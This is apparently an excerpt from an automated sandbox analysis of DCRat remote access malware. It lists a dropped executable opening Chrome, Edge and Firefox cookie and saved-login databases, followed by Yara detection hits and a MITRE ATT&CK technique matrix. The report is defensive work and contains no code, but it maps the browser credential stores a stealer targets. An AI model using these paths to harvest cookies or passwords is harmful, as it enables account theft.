Source: C:\Windows\Prefetch\ReadyBoot\PfjsOcNiQfAmiszo.exe	File opened: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Network\Cookies-journal	Jump to behavior
Source: C:\Windows\Prefetch\ReadyBoot\PfjsOcNiQfAmiszo.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\cookies.sqlite	Jump to behavior
Source: C:\Windows\Prefetch\ReadyBoot\PfjsOcNiQfAmiszo.exe	File opened: C:\Users\user\Local Settings\Application Data\Google\Chrome\User Data\Default\Login Data For Account-journal	Jump to behavior
Source: C:\Windows\Prefetch\ReadyBoot\PfjsOcNiQfAmiszo.exe	File opened: C:\Users\user\Local Settings\Google\Chrome\User Data\Default\Network\Cookies	Jump to behavior
Source: C:\Windows\Prefetch\ReadyBoot\PfjsOcNiQfAmiszo.exe	File opened: C:\Users\user\AppData\Local\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Login Data For Account	Jump to behavior
Source: C:\Windows\Prefetch\ReadyBoot\PfjsOcNiQfAmiszo.exe	File opened: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Extension Cookies-journal	Jump to behavior
Source: C:\Windows\Prefetch\ReadyBoot\PfjsOcNiQfAmiszo.exe	File opened: C:\Users\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Extension Cookies-journal	Jump to behavior
Source: C:\Windows\Prefetch\ReadyBoot\PfjsOcNiQfAmiszo.exe	File opened: C:\Users\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Microsoft\Edge\User Data\Default\Network\Cookies	Jump to behavior
Source: C:\Windows\Prefetch\ReadyBoot\PfjsOcNiQfAmiszo.exe	File opened: C:\Users\user\Local Settings\Google\Chrome\User Data\Default\Login Data	Jump to behavior
Source: C:\Windows\Prefetch\ReadyBoot\PfjsOcNiQfAmiszo.exe	File opened: C:\Users\user\Local Settings\Application Data\Google\Chrome\User Data\Default\Login Data-journal	Jump to behavior
Source: C:\Windows\Prefetch\ReadyBoot\PfjsOcNiQfAmiszo.exe	File opened: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Local State	Jump to behavior
Source: C:\Windows\Prefetch\ReadyBoot\PfjsOcNiQfAmiszo.exe	File opened: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Extension Cookies	Jump to behavior
Source: C:\Windows\Prefetch\ReadyBoot\PfjsOcNiQfAmiszo.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\cookies.sqlite-wal	Jump to behavior
Source: C:\Windows\Prefetch\ReadyBoot\PfjsOcNiQfAmiszo.exe	File opened: C:\Users\user\Local Settings\Microsoft\Edge\User Data\Default\Login Data-journal	Jump to behavior
Source: C:\Windows\Prefetch\ReadyBoot\PfjsOcNiQfAmiszo.exe	File opened: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Extension Cookies-journal	Jump to behavior
Source: C:\Windows\Prefetch\ReadyBoot\PfjsOcNiQfAmiszo.exe	File opened: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Network\Cookies-journal	Jump to behavior
Source: C:\Windows\Prefetch\ReadyBoot\PfjsOcNiQfAmiszo.exe	File opened: C:\Users\user\Local Settings\Google\Chrome\User Data\Default\Login Data For Account-journal	Jump to behavior
Source: C:\Windows\Prefetch\ReadyBoot\PfjsOcNiQfAmiszo.exe	File opened: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Microsoft\Edge\User Data\Default\Network\Cookies-journal	Jump to behavior
Source: C:\Windows\Prefetch\ReadyBoot\PfjsOcNiQfAmiszo.exe	File opened: C:\Users\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Login Data	Jump to behavior
Source: C:\Windows\Prefetch\ReadyBoot\PfjsOcNiQfAmiszo.exe	File opened: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Microsoft\Edge\User Data\Default\Network\Cookies	Jump to behavior
Source: C:\Windows\Prefetch\ReadyBoot\PfjsOcNiQfAmiszo.exe	File opened: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Network\Cookies	Jump to behavior
Source: C:\Windows\Prefetch\ReadyBoot\PfjsOcNiQfAmiszo.exe	File opened: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Network\Cookies	Jump to behavior
Source: C:\Windows\Prefetch\ReadyBoot\PfjsOcNiQfAmiszo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Network\Cookies	Jump to behavior
Source: C:\Windows\Prefetch\ReadyBoot\PfjsOcNiQfAmiszo.exe	File opened: C:\Users\user\AppData\Local\Application Data\Application Data\Microsoft\Edge\User Data\Default\Network\Cookies-journal	Jump to behavior
Source: C:\Windows\Prefetch\ReadyBoot\PfjsOcNiQfAmiszo.exe	File opened: C:\Users\user\Local Settings\Application Data\Application Data\Google\Chrome\User Data\Default\Extension Cookies-journal	Jump to behavior
Source: C:\Windows\Prefetch\ReadyBoot\PfjsOcNiQfAmiszo.exe	File opened: C:\Users\user\AppData\Local\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Login Data For Account-journal	Jump to behavior
Source: C:\Windows\Prefetch\ReadyBoot\PfjsOcNiQfAmiszo.exe	File opened: C:\Users\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Login Data	Jump to behavior
Source: C:\Windows\Prefetch\ReadyBoot\PfjsOcNiQfAmiszo.exe	File opened: C:\Users\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Login Data For Account	Jump to behavior
Source: C:\Windows\Prefetch\ReadyBoot\PfjsOcNiQfAmiszo.exe	File opened: C:\Users\user\Local Settings\Google\Chrome\User Data\Default\Login Data-journal	Jump to behavior
Source: C:\Windows\Prefetch\ReadyBoot\PfjsOcNiQfAmiszo.exe	File opened: C:\Users\user\AppData\Local\Application Data\Microsoft\Edge\User Data\Default\Network\Cookies-journal	Jump to behavior
Source: C:\Windows\Prefetch\ReadyBoot\PfjsOcNiQfAmiszo.exe	File opened: C:\Users\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Network\Cookies	Jump to behavior
Source: C:\Windows\Prefetch\ReadyBoot\PfjsOcNiQfAmiszo.exe	File opened: C:\Users\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Microsoft\Edge\User Data\Default\Login Data-journal	Jump to behavior
Source: C:\Windows\Prefetch\ReadyBoot\PfjsOcNiQfAmiszo.exe	File opened: C:\Users\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Extension Cookies	Jump to behavior
Source: C:\Windows\Prefetch\ReadyBoot\PfjsOcNiQfAmiszo.exe	File opened: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Network\Cookies-journal	Jump to behavior
Source: C:\Windows\Prefetch\ReadyBoot\PfjsOcNiQfAmiszo.exe	File opened: C:\Users\user\Local Settings\Google\Chrome\User Data\Default\Extension Cookies	Jump to behavior
Source: C:\Windows\Prefetch\ReadyBoot\PfjsOcNiQfAmiszo.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\Cookies	Jump to behavior
Source: C:\Windows\Prefetch\ReadyBoot\PfjsOcNiQfAmiszo.exe	File opened: C:\Users\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Network\Cookies-journal	Jump to behavior
Source: C:\Windows\Prefetch\ReadyBoot\PfjsOcNiQfAmiszo.exe	File opened: C:\Users\user\Application Data\Mozilla\Firefox\Profiles\v6zchhhv.default-release\cookies.sqlite	Jump to behavior
Source: C:\Windows\Prefetch\ReadyBoot\PfjsOcNiQfAmiszo.exe	File opened: C:\Users\user\AppData\Local\Application Data\Microsoft\Edge\User Data\Default\Login Data-journal	Jump to behavior
Source: C:\Windows\Prefetch\ReadyBoot\PfjsOcNiQfAmiszo.exe	File opened: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Extension Cookies	Jump to behavior
Source: C:\Windows\Prefetch\ReadyBoot\PfjsOcNiQfAmiszo.exe	File opened: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Microsoft\Edge\User Data\Default\Network\Cookies	Jump to behavior
Source: C:\Windows\Prefetch\ReadyBoot\PfjsOcNiQfAmiszo.exe	File opened: C:\Users\user\Local Settings\Application Data\Application Data\Google\Chrome\User Data\Default\Extension Cookies	Jump to behavior
Source: C:\Windows\Prefetch\ReadyBoot\PfjsOcNiQfAmiszo.exe	File opened: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Microsoft\Edge\User Data\Default\Network\Cookies	Jump to behavior
Source: C:\Windows\Prefetch\ReadyBoot\PfjsOcNiQfAmiszo.exe	File opened: C:\Users\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Network\Cookies-journal	Jump to behavior
Source: C:\Windows\Prefetch\ReadyBoot\PfjsOcNiQfAmiszo.exe	File opened: C:\Users\user\AppData\Local\Application Data\Application Data\Google\Chrome\User Data\Local State	Jump to behavior
Source: C:\Windows\Prefetch\ReadyBoot\PfjsOcNiQfAmiszo.exe	File opened: C:\Users\user\AppData\Local\Application Data\Application Data\Google\Chrome\User Data\Default\Network\Cookies	Jump to behavior
Source: C:\Windows\Prefetch\ReadyBoot\PfjsOcNiQfAmiszo.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data	Jump to behavior
Source: C:\Windows\Prefetch\ReadyBoot\PfjsOcNiQfAmiszo.exe	File opened: C:\Users\user\AppData\Local\Application Data\Google\Chrome\User Data\Default\Login Data-journal	Jump to behavior
Source: C:\Windows\Prefetch\ReadyBoot\PfjsOcNiQfAmiszo.exe	File opened: C:\Users\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Login Data For Account	Jump to behavior
Source: C:\Windows\Prefetch\ReadyBoot\PfjsOcNiQfAmiszo.exe	File opened: C:\Users\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Extension Cookies-journal	Jump to behavior
Source: C:\Windows\Prefetch\ReadyBoot\PfjsOcNiQfAmiszo.exe	File opened: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Extension Cookies	Jump to behavior
Source: C:\Windows\Prefetch\ReadyBoot\PfjsOcNiQfAmiszo.exe	File opened: C:\Users\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Login Data For Account-journal	Jump to behavior
Source: C:\Windows\Prefetch\ReadyBoot\PfjsOcNiQfAmiszo.exe	File opened: C:\Users\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Login Data	Jump to behavior
Source: C:\Windows\Prefetch\ReadyBoot\PfjsOcNiQfAmiszo.exe	File opened: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Network\Cookies-journal	Jump to behavior
Source: C:\Windows\Prefetch\ReadyBoot\PfjsOcNiQfAmiszo.exe	File opened: C:\Users\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Login Data-journal	Jump to behavior
Source: C:\Windows\Prefetch\ReadyBoot\PfjsOcNiQfAmiszo.exe	File opened: C:\Users\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Login Data For Account	Jump to behavior
Source: C:\Windows\Prefetch\ReadyBoot\PfjsOcNiQfAmiszo.exe	File opened: C:\Users\user\AppData\Local\Application Data\Application Data\Application Data\Microsoft\Edge\User Data\Default\Network\Cookies-journal	Jump to behavior
Source: C:\Windows\Prefetch\ReadyBoot\PfjsOcNiQfAmiszo.exe	File opened: C:\Users\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Network\Cookies	Jump to behavior
Source: C:\Windows\Prefetch\ReadyBoot\PfjsOcNiQfAmiszo.exe	File opened: C:\Users\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Login Data For Account	Jump to behavior
Source: C:\Windows\Prefetch\ReadyBoot\PfjsOcNiQfAmiszo.exe	File opened: C:\Users\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Login Data	Jump to behavior
Source: C:\Windows\Prefetch\ReadyBoot\PfjsOcNiQfAmiszo.exe	File opened: C:\Users\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Microsoft\Edge\User Data\Default\Login Data	Jump to behavior
Source: C:\Windows\Prefetch\ReadyBoot\PfjsOcNiQfAmiszo.exe	File opened: C:\Users\user\Local Settings\Application Data\Google\Chrome\User Data\Default\Login Data For Account	Jump to behavior
Source: C:\Windows\Prefetch\ReadyBoot\PfjsOcNiQfAmiszo.exe	File opened: C:\Users\user\Local Settings\Application Data\Google\Chrome\User Data\Local State	Jump to behavior
Source: C:\Windows\Prefetch\ReadyBoot\PfjsOcNiQfAmiszo.exe	File opened: C:\Users\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Microsoft\Edge\User Data\Default\Login Data-journal	Jump to behavior
Source: C:\Windows\Prefetch\ReadyBoot\PfjsOcNiQfAmiszo.exe	File opened: C:\Users\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Network\Cookies	Jump to behavior
Source: C:\Windows\Prefetch\ReadyBoot\PfjsOcNiQfAmiszo.exe	File opened: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Google\Chrome\User Data\Local State	Jump to behavior
Source: C:\Windows\Prefetch\ReadyBoot\PfjsOcNiQfAmiszo.exe	File opened: C:\Users\user\AppData\Local\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Network\Cookies-journal	Jump to behavior
Source: C:\Windows\Prefetch\ReadyBoot\PfjsOcNiQfAmiszo.exe	File opened: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Extension Cookies-journal	Jump to behavior
Source: C:\Windows\Prefetch\ReadyBoot\PfjsOcNiQfAmiszo.exe	File opened: C:\Users\user\Local Settings\Application Data\Application Data\Google\Chrome\User Data\Local State	Jump to behavior
Source: C:\Windows\Prefetch\ReadyBoot\PfjsOcNiQfAmiszo.exe	File opened: C:\Users\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Microsoft\Edge\User Data\Default\Network\Cookies-journal	Jump to behavior
Source: C:\Windows\Prefetch\ReadyBoot\PfjsOcNiQfAmiszo.exe	File opened: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Microsoft\Edge\User Data\Default\Network\Cookies	Jump to behavior
Source: C:\Windows\Prefetch\ReadyBoot\PfjsOcNiQfAmiszo.exe	File opened: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Extension Cookies	Jump to behavior
Source: C:\Windows\Prefetch\ReadyBoot\PfjsOcNiQfAmiszo.exe	File opened: C:\Users\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Network\Cookies	Jump to behavior
Source: C:\Windows\Prefetch\ReadyBoot\PfjsOcNiQfAmiszo.exe	File opened: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Local State	Jump to behavior
Source: C:\Windows\Prefetch\ReadyBoot\PfjsOcNiQfAmiszo.exe	File opened: C:\Users\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Microsoft\Edge\User Data\Default\Login Data	Jump to behavior
Source: C:\Windows\Prefetch\ReadyBoot\PfjsOcNiQfAmiszo.exe	File opened: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Microsoft\Edge\User Data\Default\Network\Cookies	Jump to behavior
Source: C:\Windows\Prefetch\ReadyBoot\PfjsOcNiQfAmiszo.exe	File opened: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Local State	Jump to behavior
Source: C:\Windows\Prefetch\ReadyBoot\PfjsOcNiQfAmiszo.exe	File opened: C:\Users\user\AppData\Local\Application Data\Google\Chrome\User Data\Default\Network\Cookies-journal	Jump to behavior
Source: C:\Windows\Prefetch\ReadyBoot\PfjsOcNiQfAmiszo.exe	File opened: C:\Users\user\Local Settings\Application Data\Application Data\Microsoft\Edge\User Data\Default\Network\Cookies-journal	Jump to behavior
Source: C:\Windows\Prefetch\ReadyBoot\PfjsOcNiQfAmiszo.exe	File opened: C:\Users\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Microsoft\Edge\User Data\Default\Login Data-journal	Jump to behavior
Source: C:\Windows\Prefetch\ReadyBoot\PfjsOcNiQfAmiszo.exe	File opened: C:\Users\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Microsoft\Edge\User Data\Default\Network\Cookies	Jump to behavior
Source: C:\Windows\Prefetch\ReadyBoot\PfjsOcNiQfAmiszo.exe	File opened: C:\Users\user\AppData\Local\Application Data\Google\Chrome\User Data\Default\Login Data For Account-journal	Jump to behavior
Source: C:\Windows\Prefetch\ReadyBoot\PfjsOcNiQfAmiszo.exe	File opened: C:\Users\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Microsoft\Edge\User Data\Default\Login Data	Jump to behavior
Source: C:\Windows\Prefetch\ReadyBoot\PfjsOcNiQfAmiszo.exe	File opened: C:\Users\user\AppData\Local\Application Data\Google\Chrome\User Data\Default\Extension Cookies-journal	Jump to behavior
Source: C:\Windows\Prefetch\ReadyBoot\PfjsOcNiQfAmiszo.exe	File opened: C:\Users\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Microsoft\Edge\User Data\Default\Login Data-journal	Jump to behavior
Source: C:\Windows\Prefetch\ReadyBoot\PfjsOcNiQfAmiszo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data-journal	Jump to behavior
Source: C:\Windows\Prefetch\ReadyBoot\PfjsOcNiQfAmiszo.exe	File opened: C:\Users\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Login Data-journal	Jump to behavior
Source: C:\Windows\Prefetch\ReadyBoot\PfjsOcNiQfAmiszo.exe	File opened: C:\Users\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Microsoft\Edge\User Data\Default\Login Data-journal	Jump to behavior
Source: C:\Windows\Prefetch\ReadyBoot\PfjsOcNiQfAmiszo.exe	File opened: C:\Users\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Extension Cookies	Jump to behavior
Source: C:\Windows\Prefetch\ReadyBoot\PfjsOcNiQfAmiszo.exe	File opened: C:\Users\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Microsoft\Edge\User Data\Default\Network\Cookies	Jump to behavior
Source: C:\Windows\Prefetch\ReadyBoot\PfjsOcNiQfAmiszo.exe	File opened: C:\Users\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Network\Cookies	Jump to behavior
Source: C:\Windows\Prefetch\ReadyBoot\PfjsOcNiQfAmiszo.exe	File opened: C:\Users\user\AppData\Local\Application Data\Application Data\Google\Chrome\User Data\Default\Login Data For Account-journal	Jump to behavior
Source: C:\Windows\Prefetch\ReadyBoot\PfjsOcNiQfAmiszo.exe	File opened: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Microsoft\Edge\User Data\Default\Network\Cookies-journal	Jump to behavior
Source: C:\Windows\Prefetch\ReadyBoot\PfjsOcNiQfAmiszo.exe	File opened: C:\Users\user\AppData\Local\Application Data\Application Data\Google\Chrome\User Data\Default\Extension Cookies-journal	Jump to behavior
Source: C:\Windows\Prefetch\ReadyBoot\PfjsOcNiQfAmiszo.exe	File opened: C:\Users\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Local State	Jump to behavior
Source: C:\Windows\Prefetch\ReadyBoot\PfjsOcNiQfAmiszo.exe	File opened: C:\Users\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Login Data	Jump to behavior
Source: C:\Windows\Prefetch\ReadyBoot\PfjsOcNiQfAmiszo.exe	File opened: C:\Users\user\Local Settings\Application Data\Google\Chrome\User Data\Default\Extension Cookies	Jump to behavior
Source: C:\Windows\Prefetch\ReadyBoot\PfjsOcNiQfAmiszo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data For Account	Jump to behavior
Source: C:\Windows\Prefetch\ReadyBoot\PfjsOcNiQfAmiszo.exe	File opened: C:\Users\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Microsoft\Edge\User Data\Default\Network\Cookies-journal	Jump to behavior
Source: C:\Windows\Prefetch\ReadyBoot\PfjsOcNiQfAmiszo.exe	File opened: C:\Users\user\AppData\Local\Application Data\Google\Chrome\User Data\Default\Login Data	Jump to behavior
Source: C:\Windows\Prefetch\ReadyBoot\PfjsOcNiQfAmiszo.exe	File opened: C:\Users\user\Local Settings\Application Data\Application Data\Google\Chrome\User Data\Default\Network\Cookies-journal	Jump to behavior
Source: C:\Windows\Prefetch\ReadyBoot\PfjsOcNiQfAmiszo.exe	File opened: C:\Users\user\Local Settings\Application Data\Application Data\Google\Chrome\User Data\Default\Login Data For Account	Jump to behavior
Source: C:\Windows\Prefetch\ReadyBoot\PfjsOcNiQfAmiszo.exe	File opened: C:\Users\user\AppData\Local\Application Data\Application Data\Google\Chrome\User Data\Default\Login Data-journal	Jump to behavior
Source: C:\Windows\Prefetch\ReadyBoot\PfjsOcNiQfAmiszo.exe	File opened: C:\Users\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Login Data	Jump to behavior
Source: C:\Windows\Prefetch\ReadyBoot\PfjsOcNiQfAmiszo.exe	File opened: C:\Users\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Extension Cookies-journal	Jump to behavior
Source: C:\Windows\Prefetch\ReadyBoot\PfjsOcNiQfAmiszo.exe	File opened: C:\Users\user\Local Settings\Application Data\Microsoft\Edge\User Data\Default\Network\Cookies	Jump to behavior
Source: C:\Windows\Prefetch\ReadyBoot\PfjsOcNiQfAmiszo.exe	File opened: C:\Users\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Login Data-journal	Jump to behavior
Source: C:\Windows\Prefetch\ReadyBoot\PfjsOcNiQfAmiszo.exe	File opened: C:\Users\user\AppData\Local\Application Data\Microsoft\Edge\User Data\Default\Network\Cookies	Jump to behavior
Source: C:\Windows\Prefetch\ReadyBoot\PfjsOcNiQfAmiszo.exe	File opened: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Network\Cookies	Jump to behavior
Source: C:\Windows\Prefetch\ReadyBoot\PfjsOcNiQfAmiszo.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data-journal	Jump to behavior
Source: C:\Windows\Prefetch\ReadyBoot\PfjsOcNiQfAmiszo.exe	File opened: C:\Users\user\AppData\Local\Application Data\Application Data\Application Data\Microsoft\Edge\User Data\Default\Login Data	Jump to behavior
Source: C:\Windows\Prefetch\ReadyBoot\PfjsOcNiQfAmiszo.exe	File opened: C:\Users\user\Local Settings\Google\Chrome\User Data\Default\Extension Cookies-journal	Jump to behavior
Source: C:\Windows\Prefetch\ReadyBoot\PfjsOcNiQfAmiszo.exe	File opened: C:\Users\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Login Data For Account-journal	Jump to behavior
Source: C:\Windows\Prefetch\ReadyBoot\PfjsOcNiQfAmiszo.exe	File opened: C:\Users\user\Local Settings\Microsoft\Edge\User Data\Default\Login Data	Jump to behavior

Remote Access Functionality

Yara detected DCRat

Source: Yara match	File source: 6.2.KyC6hVwU8Z.exe.400000.2.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 6.2.KyC6hVwU8Z.exe.400000.2.unpack, type: UNPACKEDPE
Source: Yara match	File source: 6.2.KyC6hVwU8Z.exe.436080.3.unpack, type: UNPACKEDPE
Source: Yara match	File source: 12.0.pPTyCqA3ru.exe.50000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 6.2.KyC6hVwU8Z.exe.436080.3.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000012.00000002.3302655841.00000000023F1000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000006.00000002.2796508370.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000012.00000002.3302655841.0000000002639000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000012.00000002.3302655841.00000000027DC000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000C.00000000.2794932818.0000000000052000.00000002.00000001.01000000.00000007.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: KyC6hVwU8Z.exe PID: 2292, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: pPTyCqA3ru.exe PID: 2132, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: PfjsOcNiQfAmiszo.exe PID: 6180, type: MEMORYSTR
Source: Yara match	File source: C:\Program Files (x86)\MSBuild\Microsoft\PfjsOcNiQfAmiszo.exe, type: DROPPED
Source: Yara match	File source: C:\Users\user\AppData\Roaming\pPTyCqA3ru.exe, type: DROPPED

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	1 Scripting	Valid Accounts	Windows Management Instrumentation	1 Scripting	212 Process Injection	133 Masquerading	1 OS Credential Dumping	1 System Time Discovery	Remote Services	11 Archive Collected Data	1 Encrypted Channel	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	Scheduled Task/Job	1 DLL Side-Loading	1 DLL Side-Loading	1 Disable or Modify Tools	LSASS Memory	241 Security Software Discovery	Remote Desktop Protocol	1 Data from Local System	1 Non-Application Layer Protocol	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	Logon Script (Windows)	Logon Script (Windows)	141 Virtualization/Sandbox Evasion	Security Account Manager	2 Process Discovery	SMB/Windows Admin Shares	1 Clipboard Data	11 Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	212 Process Injection	NTDS	141 Virtualization/Sandbox Evasion	Distributed Component Object Model	Input Capture	Protocol Impersonation	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	11 Deobfuscate/Decode Files or Information	LSA Secrets	1 Application Window Discovery	SSH	Keylogging	Fallback Channels	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	41 Obfuscated Files or Information	Cached Domain Credentials	1 Remote System Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	12 Software Packing	DCSync	1 System Network Configuration Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery
